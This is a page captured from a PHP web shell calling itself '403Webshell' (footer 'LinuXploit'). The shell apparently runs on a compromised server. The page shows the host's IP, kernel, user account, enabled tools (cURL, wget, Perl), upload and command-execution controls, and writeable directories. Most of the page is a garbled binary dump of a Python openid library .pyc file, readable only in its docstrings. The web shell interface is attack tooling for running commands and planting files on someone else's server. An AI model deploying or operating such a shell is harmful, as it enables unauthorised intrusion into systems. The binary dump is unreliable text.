403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/openid/yadis/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/openid/yadis/__pycache__/accept.cpython-311.pyc
�

|=�^���"�dZd�Zd�Zd�Zd�ZdS)znFunctions for generating and parsing HTTP Accept: headers for
supporting server-directed content negotiation.
c��g}|D]l}t|��turd}|}n8|\}}t|��}|dks|dkrtd|z���d|fz}|�||f���m|���g}|D];\}}|dkr|�|���!|�|�d|�����<d�|��S)zFGenerate an accept header value

    [str or (str, float)] -> str
    z1.0��zInvalid preference factor: %rz%0.1fz; q=z, )�type�str�float�
ValueError�append�sort�join)�elements�parts�element�qs�mtype�q�chunkss       �5/usr/lib/python3/dist-packages/openid/yadis/accept.py�generateAcceptHeaderrs��

�E��"�"����=�=�C����B��E�E��H�E�1��a���A��1�u�u��Q��� �!@�1�!D�E�E�E��A�5��B�
���b�%�[�!�!�!�!�	�J�J�L�L�L�
�F��3�3���5���:�:��M�M�%� � � � ��M�M����q�q�1�2�2�2�2��9�9�V����c�"�d�|�d��D��}g}|D]�}d�|�d��D��}|�d��}d|vr�;|�dd��\}}|D]G}d|vrA|�dd��\}	}
|	d	kr"	t|
��}n#t$rY�CwxYw�Hd
}|�|||f����|���|���d�|D��S)z�Parse an accept header, ignoring any accept-extensions

    returns a list of tuples containing main MIME type, MIME subtype,
    and quality markdown.

    str -> [(str, str, float)]
    c�6�g|]}|�����S���strip)�.0�chunks  r�
<listcomp>z%parseAcceptHeader.<locals>.<listcomp>-s ��
:�
:�
:��e�k�k�m�m�
:�
:�
:r�,c�6�g|]}|�����Srr)r�ss  rrz%parseAcceptHeader.<locals>.<listcomp>0s ��5�5�5�q������5�5�5r�;r�/r�=rg�?c� �g|]\}}}|||f��Srr)rr�main�subs    rrz%parseAcceptHeader.<locals>.<listcomp>Js$��8�8�8�~��4��T�3��N�8�8�8r)�split�poprrr	r
�reverse)�valuer�acceptrr
rr%r&�ext�k�vrs            r�parseAcceptHeaderr/%sK��;�
:����S�)9�)9�
:�
:�
:�F�
�F��&�&��5�5�E�K�K��$4�$4�5�5�5���	�	�!�����e�����K�K��Q�'�'�	��c��	�	�C��c�z�z��y�y��a�(�(���1���8�8��!�!�H�H�����%������������A��
�
�q�$��n�%�%�%�%�
�K�K�M�M�M�
�N�N����8�8��8�8�8�8s� B1�1
B>�=B>c� �|sd}nd}i}i}|D]v\}}}|dkrt||��}�|dkr(t|�|d��|��||<�Kt|�||fd��|��|||f<�wg}d}	|D]d}
|
�d��\}}||f|vr|||f}n|�||��}|r!|�d|z
|	||
f��|	dz
}	�e|���d�|D��S)a�Given the result of parsing an Accept: header, and the
    available MIME types, return the acceptable types with their
    quality markdowns.

    For example:

    >>> acceptable = parseAcceptHeader('text/html, text/plain; q=0.5')
    >>> matchTypes(acceptable, ['text/plain', 'text/html', 'image/jpeg'])
    [('text/html', 1.0), ('text/plain', 0.5)]


    Type signature: ([(str, str, float)], [str]) -> [(str, float)]
    rr�*r"c� �g|]\}}}}||f��Srr)r�_rrs    rrzmatchTypes.<locals>.<listcomp>zs%��=�=�=�+�A�q�!�U�U�A�J�=�=�=r)�max�getr'r	r
)�accept_types�
have_types�default�
match_main�	match_subr%r&r�
accepted_list�order_maintainerrs           r�
matchTypesr=Msj����������J��I�&�K�K���s�A��3�;�;��'�1�o�o�G��
�C�Z�Z�"�:�>�>�$��#:�#:�A�>�>�J�t���%(�����c�{�A�)F�)F��%J�%J�I�t�S�k�"�"��M����	"�	"���K�K��$�$�	��c��#�;�)�#�#��4��+�&�A�A����t�W�-�-�A��	"�� � �!�a�%�)9�1�e�!D�E�E�E���!���������=�=�}�=�=�=�=rc�X�t|��}t||��}d�|D��S)a	Parse the accept header and return a list of available types in
    preferred order. If a type is unacceptable, it will not be in the
    resulting list.

    This is a convenience wrapper around matchTypes and
    parseAcceptHeader.

    (str, [str]) -> [str]
    c��g|]\}}|��Srr)rrr3s   rrz!getAcceptable.<locals>.<listcomp>�s��.�.�.�j�u�a�E�.�.�.r)r/r=)�
accept_headerr7�accepted�	preferreds    r�
getAcceptablerC}s4��!��/�/�H��8�Z�0�0�I�.�.�I�.�.�.�.rN)�__doc__rr/r=rCrrr�<module>rEsW����
���>%9�%9�%9�P->�->�->�`/�/�/�/�/r

Youez - 2016 - github.com/yon3zu
LinuXploit